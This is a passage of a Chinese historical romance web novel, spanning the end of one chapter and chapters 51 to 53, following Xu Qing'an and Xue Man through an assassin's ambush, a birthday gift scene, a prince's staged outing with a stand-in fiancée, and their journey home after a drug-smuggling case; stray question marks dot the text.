他奔逃许久,早已筋疲力尽,忽见前方出现一所石屋,刚想稍作歇息,身后又出现阴魂不散的蒙面黑衣人。 “许大人。”黑衣人冷声道:“别白费力气了,你今日逃不出我的手掌心。” 许清桉回首,唇畔噙着一抹讽笑,“贾松平好本事,能养出你这等武功高强的杀手。” “贾大人对我有恩,他是个好人。” “嗯,一个利用职权肆意敛财,贪污受贿达二十万两白银的‘好人’。” “金无足赤,人无完人,你又怎敢保证,一辈子都不做亏心事?” “别拿本官与贾松平相提并论。”许清桉道:“本官不会。” 黑衣人道:“许大人确实有底气说这话,毕竟你祖父是恒安侯,生来便高人一等。” ……谁? 石屋内的薛满听到动静,捂着嘴躲在窗沿下,大气都不敢喘一声。 不是吧,她只是避个雨,便能遇上话本里的追杀场景?听话里的意思,被追杀的竟是老恒安侯的孙子许清桉? 天啊,外头的世界真的好惊险刺激! 又听许清桉道:“人之无能,其自甘堕落,好借故推脱,从不闭阁思过。” 黑衣人道:“多说无益,还请你交出账本。” “我若不交?” “那便别怪我不客气了。” 黑衣人面色凛然,手持长剑,朝许清桉步步紧逼;许清桉紧盯他的动作,随之缓慢后退,右手不经意地探向袖中。 雨声凝重,气氛剑拔弩张,一场激烈的斗争避无可避,突然间,某处传来一声闷响—— “阿嚏!” 黑衣人与许清桉面面相觑,随即同时望向石屋。 “谁在里面,快滚出来!”黑衣人厉声喝道。 石屋静寂无声,好似喷嚏声纯是幻听——他们共同的幻听? 黑衣人道:“无碍,等我解决完许大人再送你一同上路。” 屋内的薛满:……没忍住喷嚏而已,这也要杀她吗? 许清桉道:“他不过是个路人,兴许又聋又瞎又瘸,你又何必赶尽杀绝?” 屋内的薛满:……许清桉,谢谢你替我说话。 黑衣人道:“今日别说是个人,便是一只苍蝇在此,也得陪许大人共下地府。” 屋内的薛满:……懂了,此时此地,她跟许清桉是一条绳上的蚂蚱,要死一起死,要活一起活。 还有没有天理了,她躲着都能惹上杀身之祸?! 屋外,黑衣人冷不防朝许清桉发动攻势。只见雨幕中寒光疾闪,剑随掌进,他招招狠辣,铁了心要取许清桉的性命。 许清桉虽是文臣,却也有一身保命的功夫,奈何身受重伤,险险避过几次杀招后,便颓然跌坐在地,一脸视死如归。 他道:“要杀要剐,悉听尊便。” 黑衣人道:“许大人,抱歉了。” 他暗运体内真气,提剑刺向许清桉的胸口。千钧一发之际,身后飞来半块砖头,正正好击中他的后脑勺—— 砰! 黑衣人身形一摆,巨痛间感到头晕眼花,踉跄着往后退步。未等他站稳,许清桉袖中射出一柄短箭,霎时穿透他的喉咙。 “你……你……” 黑衣人捂紧喉间,指缝中渗出汩汩鲜血,难以置信地盯着他。 许清桉道:“放心,贾松平很快会下来陪你。” 黑衣人轰然倒地,死时面色狰狞。 许清桉望向石屋,他方才用余光瞄到,窗口出现一抹身影,快、准、狠地投掷完砖块便缩了回去。 “杀手已死,多谢壮士出手相救。”许清桉道:“壮士临危不惧,一击必中,想必是名捕猎高手。” 屋内的薛满无声反驳:什么壮士?她明明是如花似玉的姑娘家。况且了,她这样的好手法,全是靠平日与小宁投壶练出来的。 他道:“能否请你再帮个忙,替我找处安全的地方休息?” 薛满再三斟酌后,决定帮助许清桉。一是看在老恒安侯的面子上,二是因为三哥对他的描述。 志在青霄碑的男子,品行定不会差。 她走出石屋,天空恰好放晴,一道斑斓的彩虹落横卧天际。 薛满端详起传闻中的许清桉,惊讶地发现,哪怕他淋成个落汤鸡,依旧颜如宋玉,剑眉青鬓,一双桃花眼似醉非醉,风采竟不亚于三哥。 许清桉亦感到意外,没想到对方是名黄脸带胎记,背着布包袱的妙龄少女,虽相貌平常,难得拥有大智大勇。 黄脸少女微抬下巴,问道:“我救了你的命,你要怎么报答我?” 俊美青年不动声色,反问:“你想要什么报答?” 少女问:“我想要什么都行?” 青年道:“只要本官能做到,什么都行。” 少女本就是随口一提,便道:“我暂时没想好要什么,不如等你获救后,先写个欠条给我。” 青年道:“妥。” 谈好条件后,薛满朝向那名死去的黑衣人,双手合十,虔诚念叨:“阿弥陀佛,佛祖明鉴,是他先对我起了杀心,我为自保才扔的石头,最多只能够砸晕他,真正杀他的是那位许大人。” 许清桉:…… 她若无其事地又问他,“你能自己走吗?” 许清桉道:“我腿上有伤,得劳烦姑娘扶我一程。” 薛满道:“行吧。” 地面一片泥泞,薛满提着裙摆,小心翼翼地靠近许清桉。特殊时刻,她顾不得男女有别,吃力地搀着许清桉起身。两人步履艰难地往前移动,忽有什么东西缠上薛满的脚踝,待低头一看,她被吓得魂飞魄散。 是那黑衣人的手,他诈尸了! “啊!”薛满尖叫出声,抬脚用力地踹开他,随后抛下许清桉便往外跑。岂料跑到一半,脚底猛地打滑,整个人仰面摔倒,后脑结结实实地磕上半块砖头——没错,便是她用来砸黑衣人的砖块。 地上躺着的人由一个变为两个,黑衣人彻底死去,少女则昏迷不醒。 目睹全部过程,甚至来不及反应的许清桉:…… 最终,许清桉拖着伤腿,背着救命恩人,一瘸一拐地走向树林深处。 天空又下起雨,淅淅沥沥。 许清桉抬头,见到了一场柔和美丽的太阳雨——今生他与妻子共同经历的第一场雨。 50-60 第51章 第 51 章 薛满关起门来捣鼓了三天, 终于在乞巧节这日赶制出了荷包:是她答应过许清桉的那只雄鹰……荷包。 她盯着荷包上的图案看了又看,心虚片刻后又自我安慰:没错,的确是雄鹰荷包, 形似雄鹰也是鹰,长得丑的雄鹰也是鹰…… 她做足心理准备, 午时才敲响许清桉的书?房门,“少?爷, 你在吗?” “进?来。” 薛满跨过门槛, 见他执笔坐在书?案后,面前堆了两大摞公文。 “少?爷,你最近很?忙吗?” “嗯,得帮忙处理衡州的公务。”他抬眼看她, “你有事?” “是有点事。”她坐到小桌案后, 单手托着脸颊,侧望着他, “我听俊生说,今日是你的生辰。” “嗯。” “你打?算怎么过生辰?” “平日怎么过,今日便怎么过。”他语气平静, 好似全无期待。 薛满默默为他掬把同情泪:她可怜的少?爷哟, 这会?定是强压着内心酸楚,不想叫旁人看出他的落寞。 “那怎么行,生辰至少?要吃碗长寿面, 便由我亲自给你煮。”薛满一脸跃跃欲试,“我已经跟刘婶讨教过揉面技巧, 随时能够上手。” 许清桉正提笔写字, 凑近了瞧却发现?,笔尖轻悬纸上, 久久不曾落下。 他道:“你手腕有伤,不宜下厨劳累。” “揉个面而已,我又不是泥巴做的人。”她忽然?横眉竖眼,“你不会?是嫌弃我厨艺差,不肯吃我做的面条吧?” “……”他看着她,“你往常炖的猪肺汤,我喝了没?” “喝了。”虽然?不情不愿,但他都喝了。 “你的长寿面能难吃过猪肺汤?” “不可能。”薛满自信不疑,“猪肺汤是荤食,做得难喝很?正常,但是区区长寿面,本姑娘轻松拿捏!” 真?的轻松拿捏吗? 两个半时辰后,许清桉看着面前的那碗“长寿面”……确切来说是一碗稠状面疙瘩,认真?地?思考:生辰吃面疙瘩的寓意是什么来着? 薛满的袖口和脸颊还挂着些?许白面粉,面色讪讪,“我揉着揉着,面条便断了,然?后我试图将它们重新揉到一起。但是,呵呵,破镜不能重圆的道理你应该懂?” 懂,断掉的面条也不能续上。 许清桉又想:汤呢? 她像是看出他的疑问,“我怕面不熟就多煮了一会?,没想到汤越煮越稠,越煮越少?……想要重新揉面已经来不及了。” 说话间,面疙瘩以肉眼可见的速度凝结,从一碗面疙瘩升级为一块面疙瘩。 哇,简直是色香味俱全的反面:三样全没有。 薛满没法再装睁眼瞎,伸手去挪面碗,“算了,我让刘婶给你重新下一碗,还能给你加个鸡蛋和葱花……” 许清桉抬手挡住她,右手执筷,夹了一小坨面疙瘩进?嘴,细细咀嚼一番。 “怎么样,味道如何?”她满怀期待地?问。 “挺好。”面疙瘩夹生,咬开后一股子面粉味。 “真?的挺好?” “嗯。”他面不改色,“比猪肺汤好很?多。” “那我下回——” “等我下回生辰,你再给我做。” “没问题。” 两人定好来年的生辰之约,薛满看着他将整碗面疙瘩吃光,眼眸比天际的星辰更亮。 许清桉拭完嘴角,问她,“你吃了没?” “吃了。”她道:“你晚上要继续忙吗?” “嗯,我得抓紧忙完衡州的事务,赶在万寿节前返回京城。” “那我去给你泡壶茶。” 比起厨艺,薛满的茶艺要高?明许多,许清桉轻抿一口,察觉到她的目光正流连在他腰间。 今日他束了条玉璧皮革蹀躞带,腰侧压了一块青玉佩,佩下坠着白玉珠及碧色流苏,尽显简约高?雅之风。 薛满捏着袖中的荷包,好半天没拿出手。 还是许清桉主动问:“你有什么话想说?” “是这样的。”薛满吞吞吐吐,“我之前答应过给你绣荷包……” “你绣好了?” “本来绣得没这么快,但我想做生辰礼物送给你,于是便夜以继日,呕心沥血地?绣出来了。”她严肃地?道。 许清桉朝她摊手,“东西呢?” 薛满的手挪到一半,不肯动了,“你先答应我一件事。” “何事?” “不许嘲笑,也不许嫌弃,更不许拒绝。” 许清桉纠正:“这是三件事。” “那就答应我三件事,你能不能做到?” “能。” 许清桉的手同脸蛋一样出色,五指修长,骨节分明。此刻它托举一枚窃蓝色的荷包,荷包的绣面是一只……是一只…… 他言语匮乏,不知?该怎么形容荷包上的图案:没记错的话,这是他当?初亲手绘制的图样,她只要按照正常步骤绣,即便手艺不精也能蒙混过关。但仔细端详面前的不明生物——试想下,一具勉强能算逼真?的老鹰躯干,搭配上简笔随意勾勒出的脑袋和翅膀……潦草,过于潦草。不伦不类,实在不伦不类。 他看她一眼,她强调:“夜以继日。” 他再看她一眼,她又强调:“呕心沥血。” “……” “没有功劳也有苦劳。” “……” 许清桉往椅背一靠,右手覆上双眼,优美?的唇线轻扬,肩膀跟着微微耸动,片刻后,他难以抑制地?笑出了声。 笑什么笑! 薛满恼羞成怒,“不喜欢就算了,将荷包还给我。” 她倾身去夺荷包,反被他擒住手腕,略使巧劲便带至身前。两人的距离倏然?缩近,他不知?何时睁开了眼,似醉非醉的风流目内饱含深意,直勾勾望进?她的眼底。 她美?目圆睁,凶巴巴地?瞪他,“松手!” “不松。”他探出手,小指勾着荷包缨带,又以拇指缓慢拭去她脸上的白面粉。 薛满对突如其来的碰触感到心慌意乱,忙用?拳头抵着他的胸膛,“那,那你将荷包还来。” “不还。” “你明明不喜欢!” “我喜欢。”他道:“喜欢至极。” “这么丑你也喜欢?” “你送的,我自然?喜欢。”他松开手,当?着她的面将荷包挂在腰间,“况且,丑得出奇便是别致。” “……”薛满磨牙,“旁人想要还没有呢!” “你只有我一个主子,哪里来的旁人?” 也是哦。薛满哼道:“物以稀为贵,等我绣工进?步了,想绣都绣不出此等极品。” 窗外炸开一声巨响,薛满推开花格窗,见夜空绽放着绚丽烟火,漫天的银花如星火燎原。 “少?爷,你看。”她弯起眼笑,指着窗外道:“今日的鹊桥也在为你庆生。” 他站在她身后,眼底不见烟火,只见一个她。 这般明亮,让他想掬在手心里的她。 * 比之衡州,京城的乞巧节更为热闹。街上悬灯结彩,鼓乐喧天,织女与牛郎分别乘坐花车从东、西对向游城。待游至城中央那座以鲜花装饰的鹊仙桥时,一对有情人拾级而上。在数不胜数的百姓见证下,两人深情执手,泪眼相看。 围观的百姓感动落泪:哇,情深不寿,可歌可泣!一年只见一次面太少?了,天帝就不能发发善心,改成两次、三次……无数次吗? 烟火也得放,放得比衡州更丰富,更持久,更绚烂夺目。 满城喧闹,街上水泄不通,处处宾客盈门,唯独地?段最好的近水楼前车马全无。 据闻今日有位皇子一掷千金,包了近水楼整整一晚,不许闲杂人等进?入。至于是哪位皇子如此高?调阔绰……城中不少?赌坊以一赔十的倍数开设赌局,引得人蜂拥下注:圣上膝下共育有十三位皇子,眼下在京的有六位,分别是最年长的太子殿下、排三的端王、排五的昭王、排九的康王及尚未获得封号的十一皇子、十三皇子。 其中,太子温良,端王矜谦,十一与十三皇子尚年幼,唯有昭王及康王两位意气风发,惯来挥金如土。 再往精准了猜,长威将军近日回京述职,昭王正与其次女来往火热,年底可能要定下婚事。趁着乞巧节,昭王包下近水楼来讨对方欢心便顺理成章…… 是昭王,绝对是昭王! 无数双眼睛紧盯着近水楼,直至戌时中,第二波烟火散去后,一列护卫踏马而来,紧随其后的是两辆黑漆鎏金的驷马轩车。 众人望眼欲穿:快看马车上是哪家?车徽! 马车仿佛听到了他们的心声,入街后放缓速度,慢到足够每个人看清它的鎏金车徽——啊啊啊,竟然?是端王家?的马车! 怎么会?是端王! 众人难以置信:端王殿下那位青梅竹马的未婚妻薛家?小姐重病许久,两人的婚期不得已推迟。端王为此大受打?击,由谦谦君子变为不可向迩的峻漠殿下,每日除去办公务便是守着薛家?小姐,任何邀约都不应承。 而今,他斥巨资在乞巧节这日高?调包下近水楼,唯一的可能便是—— 马车停在近水楼前,紫衣金冠,龙章凤姿的青年率先下地?,正是端王裴长旭。 他侧过身子,朝马车伸出右手,随见帷帘拨动,显出一抹纤瘦身影。她身着缕金挑线纱裙,头戴镶珠点翠幕篱,搭着裴长旭的手缓缓下地?。 “表妹。”众人听到他甚是温柔地?喊:“仔细些?,莫让石子磕到脚。” 女子轻轻地?回了句话,众人听不清晰,只在心底哀嚎:原来是薛家?小姐身体好转,端王殿下有兴致出来过乞巧节了。只可惜他们压错皇子,今晚亏大发了! 谁都不曾注意,裴长旭在转身时扫视周围,深眸一片晦暗。 两人并?肩去往近水楼的二楼,选了视线最好的雅间观看烟火。可当?雅间的门关上,阻隔掉外人隐约探究的目光后,裴长旭便甩开薛小姐的手,径直走到窗边落座。 他掏出一块帕子,来回擦拭手掌,神情冷漠疏离。 幕篱下的女子轻咬唇瓣,却不敢表露分毫不悦。她坐到裴长旭的对面,由明荟摘下幕篱,低垂下头,摆出恰如其分的侧影,正正好对着近水楼外的大街。 不谈五官,单从身形来看,她与薛满相差无几。 这位假薛小姐名叫颜筱筱,她相貌明艳,花容月貌,本是远在天边的燕城武将之女。一个月前,父亲接见过两名客人后,忽然?命她远赴京城办一件极其隐秘的要事,她本抵死不从,但碍于某些?原因只能应下。 初到京城时她很?慌张,气派的府邸,训练有素的护卫,锦衣玉食的生活……父亲将她送出去做妾了吗?可她已经有心爱的人了啊!然?而随着杜洋的到来,她知?晓了自己的任务:假薛家?那位生病的贵女,偶尔陪殿下出街做戏便好。 是的,殿下,端王殿下。 颜筱筱偷偷看向对面的俊美?公子,从前在燕城时,她以为太守之子便是顶顶英朗的男儿。见过端王殿下后才发现?,真?正的天潢贵胄好比天上月,连多看一眼都觉得是亵渎。 更难能可贵的是,他对病重的未婚妻一往情深,宁愿无限推迟婚期都不肯换门亲事。 她心神摇曳,轻启红唇,“殿下,我……我……” 美?人的欲言又止并?未换来任何回应,裴长旭眉眼阴邃,耳畔仍回荡着前几日与薛皇后的一番对话。 薛皇后道:“阿满对外宣病许久,已惹了不少?闲言碎语猜测。有朝臣向你父皇谏言,希望你能废除亲事,另择他门贵女。” 裴长旭便问:“是哪位朝臣谏言,又有哪些?人附了议?” 薛皇后仔细端详他,没错过他眼中翻涌的冷意,“你知?道了又如何?他们言之有理,你父皇亦在认真?考量。” 裴长旭敛眸,“儿臣已再三表明,此生非阿满不娶。” 薛皇后道:“从前你对那婢子亦是一心无二,后来依旧能与阿满定亲。照此来说,你再换一门亲事也无妨。” 裴长旭沉声,“母后何必嘲讽儿臣?您明明知?晓,阿满对儿臣而言独一无二。” “你不愿退亲?” “儿臣绝不退亲。” 薛皇后顺了顺心气,道:“你不想退亲,本宫倒是能继续替你拖延。只是阿满久病不出,假以时日,这亲不退也得退。” 裴长旭问:“那依母后的意见,儿臣该怎么办?” “头等大事自然?是寻回阿满,其次,阿满的‘病’该好转了。”不等裴长旭说话,薛皇后便命宫女拿出两份画卷,“本宫替你选了两个人,你挑一个,在乞巧节时带着出门逛逛。” 裴长旭一动不动,“儿臣心领母后的好意,但恕难从命。” 薛皇后忍不住道:“不过叫你领人出去转转,以堵悠悠众口,你又为何不愿?” 裴长旭道:“阿满不会?乐意有人扮她出门。” 薛皇后冷笑,“再不找人扮她出门,你们二人的婚事便要没了!要么你赶在乞巧节前寻回阿满,要么你选个赝品替她出门,你自己两相权衡!” 长久的沉寂后,裴长旭铺开左边的画卷,画上是一名娉婷袅娜,容光明艳的妙龄少?女。他继续铺开第二幅画卷,只见上面绘着的少?女巧笑倩兮,面容与薛满有六分相似。 他眼神未有停留,合上画卷道:“就左边那位。” 薛皇后不留情面地?道:“真?是意外,本宫还以为你会?选右边那位,毕竟你能找个江诗韵的替身,便能再找——” “母后。”裴长旭打?断她,“儿臣有事,先告退一步。” 身后传来薛皇后的哽咽声,“可怜我家?阿满,离京数月,一点音讯都寻不到,也不知?受没受委屈……” …… 不怪母后讥讽,事情发展至此,全是他咎由自取。 裴长旭眺望窗外夜景,溶溶月色中,最后一波烟火升起。漫天的绚烂风流云散,而他的心也随之四分五裂。 离阿满逃婚已近四个月,他曾趁着休息间隙,彻夜未眠,辗转周边城镇亲自搜寻阿满,仍旧一无所?获。 阿满真?恼了他,她在刻意躲着他。 “阿满,我知?错了……”他闭上眼,只觉心火烧得愈来愈烈,灼痛顺着血液流向四肢百骸。 阿满,三哥真?的知?错了,只要你肯回来,只要你肯原谅我……三哥什么都愿意做,什么都依你好不好? 第52章 第 52 章 千里之外的衡州, 薛满丝毫不知有人惦念着自己?,每日?吃得香睡得好,脸色比以往更为?莹润光洁。 一个月转瞬即逝, 许清桉查照完衡州所有账册库房,确认没有纰漏后, 唯剩秦长河贩卖禁药一案未了断。 他曾飞书去往京城向景帝禀明此事,景帝即刻从京中调了一名官员赶至衡州接任知州职务。对方?名叫尚礼, 在中书省任职多年, 颇受景帝信赖。与之同?行的还有刑部侍郎苏康平,专为?蒂棠茚禁药一案而来。 在许清桉及刘明通的协助下,尚礼顺利地?接管衙门事务,苏康平亦对禁药一案有了深入调查。譬如光衡州境内, 服用此药的病患便有数百名, 除去衡州,多地?也出现?过此药踪迹, 受害者不一而足。又根据薛满的回忆,他们在韩府别院中搜出一大片的蒂棠茚种?植地?,足够韩夫人判上十年牢狱。但鉴于衡州衙门集体?为?韩家上书, 此事或能酌情处理?。 苏康平在来之前做足功课, 对许清桉普及蒂棠茚在前朝时惹下的大祸,“一百多年前,前朝贵族们对此花吸食成瘾, 纵乐声色。民间则效仿跟风,倾家荡产亦不所惜。街上人人形容癫狂, 爆裂恣睢。久而久之, 人伦败坏,父杀子, 夫杀妻,此类恶案层出不穷。更可恨的是南垗王室以此控制前朝枢要,将京城搅得翻天覆地?。” 许清桉讶异,“竟有此事?” “世子还小,不知情很正常。”苏康平摸了摸胡须,道:“彼时连庸帝都沾染一二,幸有当时的三公?带领千官死谏,逼得庸帝立律法,全朝销禁此花,才勉强控制住局面。然而祸根已?经埋下,不过短短五年,前朝便覆地?翻天。” 许清桉沉吟道:“如今蒂棠茚卷土重来,背后想必有南垗王室推波助澜。” “陛下也有此推测。”苏康平眼中俱是欣赏,“好在世子敏锐,及时察觉对方?筹谋。圣上得知此事后,夸赞世子年轻有为?,堪当重任。” “圣上过誉。”许清桉拱手道。 “世子之能,一趟南下便能崭露头角,往后必将前途无量。” 许清桉道谢几句,又提及被蒂棠茚祸害的病患,“不知前朝可有留下治疗蒂棠茚之毒的药方??” “ 不曾,前朝对此花之毒束手无策。”苏康平叹息,“圣上已?命太医院抓紧研制解毒方?,希望现?有的病患能再坚持些?时日?。” “嗯,下官已?吩咐药师们尽力缓解他们戒断的症状。” “效果如何?” “不尽如人意。” 苏康平神色一凛,皱眉道:“南垗其心可诛,终有一天,我大周的铁骑会踏平他们的土地?!” * 十天后,许清桉踏上归程路途,除去来时同?行的俊生、凌峰与银枭队诸位兵尉,便只多带了薛满一人。 因薛满宁可舍身也不愿许清桉为?质一事,本就对她殷勤的俊生更加殷勤。银枭队对她肃然起敬,连凌峰都一改之前的讥讽,偶尔朝她投去若有所思的目光。 当然,最最最感谢她的人是孟超与何湘。 两人送他们到城外,临走前,何湘与薛满单独说?了会话。 何湘递给她一只竹篮,“阿满姑娘,我听说?你喜欢吃糖,便亲自做了几样,希望你不要嫌弃。” “当然不会嫌弃。”薛满打趣:“我只怕吃过你做的糖,便会变得跟千里那样挑嘴,从此再吃不下别家做的糖了。” 何湘失笑,“那我便定期叫商队带糖去京城,可好?” “好是好,不过我想吃的可不仅仅是普通的糖。”薛满看了不远处的孟超一眼,悄声问:“何姑娘,你跟我透个底,你和孟衙役有可能吗?” “我自小父母双亡,跟随师父学?医,立志救死扶伤,从未想过嫁人之事。而孟衙役年轻有为?,家中又是三代单传,今后的妻子必当替他尽孝膝前,开枝散叶……”何湘的声音也低了一度,“他与我,实非一路之人。” 薛满想了想,道:“在你遇袭前,孟超曾找我帮他一个忙。” 何湘疑惑地?看着她。 “他请我帮你选生辰礼物。”薛满道:“我们先?去了首饰铺,他替你选了银镯子、耳环,但最终买了另一样东西。” 何湘追问:“买了什?么东西?” “一只药箱。” “药箱?” “对。”薛满道:“我想,孟超之所以爱慕你,不是因你年轻貌美,而是身为?医者的你仁心仁术,舍己?为?公?。你能为?行医放弃成婚,也能在察觉到几名病患的异常后,冒着危险去寻找证据,从而揭发了秦长河的阴谋。” “我没有你说?的那般无私。”何湘苦笑,“我也想过置之不理?。” “想是一回事,做又是一回事。”薛满笑道:“你终是做了,挽救了许多可能会被蒂棠茚残害的病人。” 何湘眼眶发热,由衷感谢:“阿满姑娘,谢谢你的肯定。” “光谢我可不行。”薛满道:“有人比我更欣赏你,且更早便欣赏你。” 何湘又何尝不知孟超为她做的一切?只是她向来思虑重,习惯裹足不前。 薛满凑近她耳畔,“何姐姐,你已?经历过一次生死,最懂人生苦短的道理。不妨勇敢一些?,跟他开诚布公?谈一谈,兴许会有惊喜呢?” 何湘的心被这话猛烈撞了一下,下意识地?望向孟超。 孟超有所感应,朝她露出爽朗的笑容,瞬间驱散她的迟疑不定。 何湘的眼神逐渐柔软:是啊,人生苦短,他肯为?她涉险闯入火场,她又为?何不能勇敢一些?? “你说?得没错。”她道:“我应该试着勇敢一回。” “那我在京城等你的消息。”薛满笑眯眯地?道:“还有你的糖。” …… 刚与何湘、孟超分别,又有一辆马车追出城门,驾车的不是别人,正是前任知州韩越。 “许大人,阿满姑娘,请留步。”韩越喊道。 许清桉撩开车帘,“韩老爷,有事吗?” 韩越下车,隔着数名银枭队兵尉,对他拱手道:“许大人,我家志杰有几句话想跟阿满姑娘说?,不知阿满姑娘能否给点时间?” 薛满在车内听得清楚,犹豫片刻后,从许清桉的身边探出头,“有话便在这里说?吧。” 韩越扶着韩志杰下车,后者虚弱无力,身形单薄,额际的伤疤清晰可见。 “阿满姑娘。”韩志杰面向他们,朝薛满长作一揖,“韩某要跟你认真地?道一声歉。” 薛满眨眨眼,洗耳恭听。 韩志杰耳红面赤,羞愧道:“自相识起,我便因对母亲的愤懑而迁怒与你,数次对你出言不逊。如今回想,姑娘何其无辜,我又何其狭隘浅薄。” “你的确无礼。”薛满哼道:“早该对我道歉了。” “只怪我愚昧怯懦,拖到今日?才敢当面跟你道歉。”韩志杰扯唇,笑容透骨酸心,“若我能有姑娘不畏生死的勇气,有许大人一半的魄力,母亲和香雪也不会落得如此下场。” “我要是香雪姑娘,真当丁点看不上你。”薛满不客气地?道:“堂堂男子汉,天天悲伤春秋有用吗?是能复活香雪姑娘,还是能救出你母亲?” 韩志杰愣住,“我……” “我听说?你已?断了药,重新开始戒断?” 韩志杰探向淤青的手腕,“是。”集全衡州医师之力,联合京中太医给出的药方?,他们这一批受蒂棠茚毒害的患者开始尝试戒断,但结果如何?会不会又是失败? “韩志杰,为?了香雪和你母亲,你必须成功。”薛满道:“她们费尽心思希望你活着,你不能辜负她们的心意。” “我明白……”韩志杰哽咽难言:“父亲已?经允我娶香雪的牌位为?妻,往后她便是我唯一的妻。我不会再辜负她,会努力做到她生前所愿……” 做个健健康康,堂堂正正的好男儿。 他失控了一小会,擦干眼泪道:“阿满姑娘,母亲对你的喜爱从不是作伪,她多次想撮合你我。但茗芳会后,她知晓你和许大人主仆一心,便对我提出要收你做义女……可惜造化弄人,母亲愧对你,我们韩家永生都愧对你。” 他从袖中取出一枚羊脂玉镯,“这是我们抵达衡州那日?,母亲要送你的那枚镯子,希望你能够收下留作纪念。” 恍惚间,薛满回到初遇那天,两拨人在荒庙避雨,她与韩夫人相谈甚欢,结伴抵达衡州。那时的唐夫人温柔慈祥,像母亲一般关照着她…… 她摇了摇头,“不了,来时如何,去时也当如何。” 韩志杰没有勉强,“我祝你们一路顺风,旅途平安。” 这次轮到薛满道:“韩志杰,咱们后会有期。” 许清桉也朝韩越拱手,“韩老爷,后会有期。” 马车缓缓驶离,韩家父子凝望许久,韩志杰低声喃语:“……也祝你们遂心如意,终成眷侣。” * 归程遥遥,薛满的怅然很快被沿途风景冲散。她们初到衡州时是盛夏,离去已?步入金秋。官道绵延,两旁枫叶如火,远处层林尽染,风送丹桂飘香。 马车内,薛满跪坐在软垫上,面前的矮几上摆放着何湘送的五包糖,她一一拆开尝了,味道都很好。 “何姑娘做的糖真好吃,可惜将来吃不到了。”她遗憾地?道。 许清桉正拆着一封信,“京城繁华,你想要什?么都有。” 她问:“那我能去学?做糖吗?” 他对她的奇思妙想习以为?常,“等回到侯府,你想做什?么做什?么。” “也是。”薛满一脸扬眉吐气,“这次你立了功回京,真正叫做‘衣锦还乡’,哼,我早说?过会帮你重整旗鼓,将伤害你的人都踩在脚底下!” 时隔半年,这句熟悉的口号再次一字不差地?出现?,可见她记得有多牢靠。 许清桉的反应却不复从前,简洁利落地?应:“好。” 他低头看起信件,庞博涛在信中称寻遍淮河以南的大小州县,虽找出了几名年龄样貌与薛满相近的寻人启事,但核对过画像后并不符合。信件结尾,他言明老侯爷已?知晓此事,曾派人向他详细询问过始末缘由。 许清桉眼中掠过讽意:让他来猜猜,等他们抵达侯府,祖父便会想方?设法分开他们。一边送走阿满,同?时又以世子之位威胁利诱,不择手段地?逼他定亲娶妻…… 常言道熟能生巧,祖父的手段向来如此,但他这次注定无法如愿。 薛满注意到他的不豫之色,脆生生地?道:“少爷,你无须害怕。” 许清桉抬眸望着她。 她不闪不避,迎着他深沉的目光道:“不就是回侯府吗?你记住,你不是孤身战斗,我永远是你最得力的帮手。” “便如衡州之行?” “便如衡州之行!” 他轻轻笑了,心中前所未有的安宁,“好,都听你的。” 便听她的,不会再害怕,不会再彷徨,因身旁会一直有她。 * 马车紧赶慢赶地?跑,大多数时走官道,偶尔也会路过偏僻之地?,只能走些?乡间小道。 遇到第二种?情况时,往往会出现?一些?始料不及的意外。譬如这会儿,五头健壮的黄牛拦堵在路中央,慢悠悠地?往前挪动?,半个时辰只挪了十丈远的距离。不管他们怎么驱赶,牛群皆温吞从容,不将赶路的人类放在眼里。 眼看天色渐晚,路成舟提议:“公?子,我去前方?探探路,看能否找到牛群的主人。” 等他打马离开,薛满在车上待得无趣,便学?其他人般拾了根细树枝,有样学?样地?赶起牛来。 她挥动?树枝,轻柔地?鞭在牛臀上,“百里西风禾黍香,鸣泉落窦谷登场。老牛粗了耕耘债,啮草坡头卧夕阳。①” 牛群:……听不懂,屁股不痛不痒,继续啃两口路边的草,慢悠悠地?散步。 旁边的凌峰看她一眼,她会得倒是不少,但比起自家妹子的才学?,依旧差得远了。 薛满才不管他在想什?么,回头对马车内喊:“少爷,牛吃糖吗?” “吃。” “那你帮我拿包糖出来,对了,别拿何姑娘送的,拿你买的那几包。” “……”许清桉撩开帘子,对童和道:“取些?马吃的方?糖给她。” 童和依言照做,薛满接过糖包,试探地?喂起其中一头牛,“你吃糖吗?” 那牛低头在她的掌心嗅了嗅,随即舌头一伸一卷,飞快地?吞下方?糖。 薛满又拿了一块糖出来,“你还想吃吗?想吃的话就叫你的同?伴们往前快些?跑,不要耽误我们赶路。” 牛:……听不懂,但糖很好吃。 它低低哞了一声,另外四头牛仿佛听懂它的意思,齐齐凑到薛满的跟前,吓得她慌张闪躲,险些?掉进路旁的水田。 她稳住身子,赶紧将糖包丢给童和,“童大哥接着!” 童和伸臂捞过糖包,眼角余光瞄见一抹身影飞向薛满,原是许清桉下了马车。 许清桉拉着薛满远离牛群,她心有余悸地?拍拍胸口,“还好,没被它们撞到。” “罚一两白银,拿来。” “少爷,别啊,我刚发的月银还没捂热呢……” 薛满哀呼着求饶,奈何许清桉主意已?定,坚持从她的荷包里取走一两银子。 “再有下回,罚金翻倍。” “……”这可比预扣月银要来得直接! 薛满不敢再胡来,乖乖跟在他身边,看童和他们用糖引诱牛群。可惜牛老大们吃完糖也不配合,惹得童和恼道:“许公?子,不如将这群牛宰了,再派人留在原地?赔偿主人就是。” 话音刚落,有道娇软的女声横空响起,“你这人好生野蛮,不过是挡了你的道,你便要取我家牛牛们的性命。” 众人循声望去,见一名“奇装异服”的少女站在不远处的田埂上。 她皮肤光洁却并不白皙,而是天然健康的小麦色。乌黑浓密的秀发编成无数股彩绳小辫垂落,额前戴着银穗流苏嵌玛瑙珠链,衬得那双黝黑的眼眸分外灵动?,微厚的红唇娇艳欲滴。她上身穿着一件朱红色织蝶描花短衫,搭配同?样图案的百褶长裙,短衫和长裙间裸着一截柔软的细腰,整个人如玫瑰般明媚张扬。 她抬起手,腕间戴着铃铛细链,随着动?作发出悦耳的声响。 “你。”她准确无误地?指着许清桉,笑吟吟地?道:“你长得很漂亮,只要你今晚肯陪我睡觉,我便不计较你们威胁我的牛牛们了。” 第53章 第 53 章 什么? 薛满怀疑耳朵出了问题:她说什么? 除去许清桉, 其?余人也是?瞠目结舌。凌峰率先回?过神,顾不得?非礼勿视的?道理,大?声呵斥:“你这女?子好不知羞耻!” 少女?走向他们, 鞋上的?铃铛也在步步作响,“我哪里不知羞了?” 凌峰道:“光天?化日, 你不仅衣衫不整,还敢出言调戏男子, 着实有伤风化!” “我与你一样, 穿着上衣,也穿了裙子,对了,鞋子也穿着呢。”少女?踢直脚尖, 大?方地?请他们欣赏绣花铃铛鞋, “你们瞧,好不好看?” 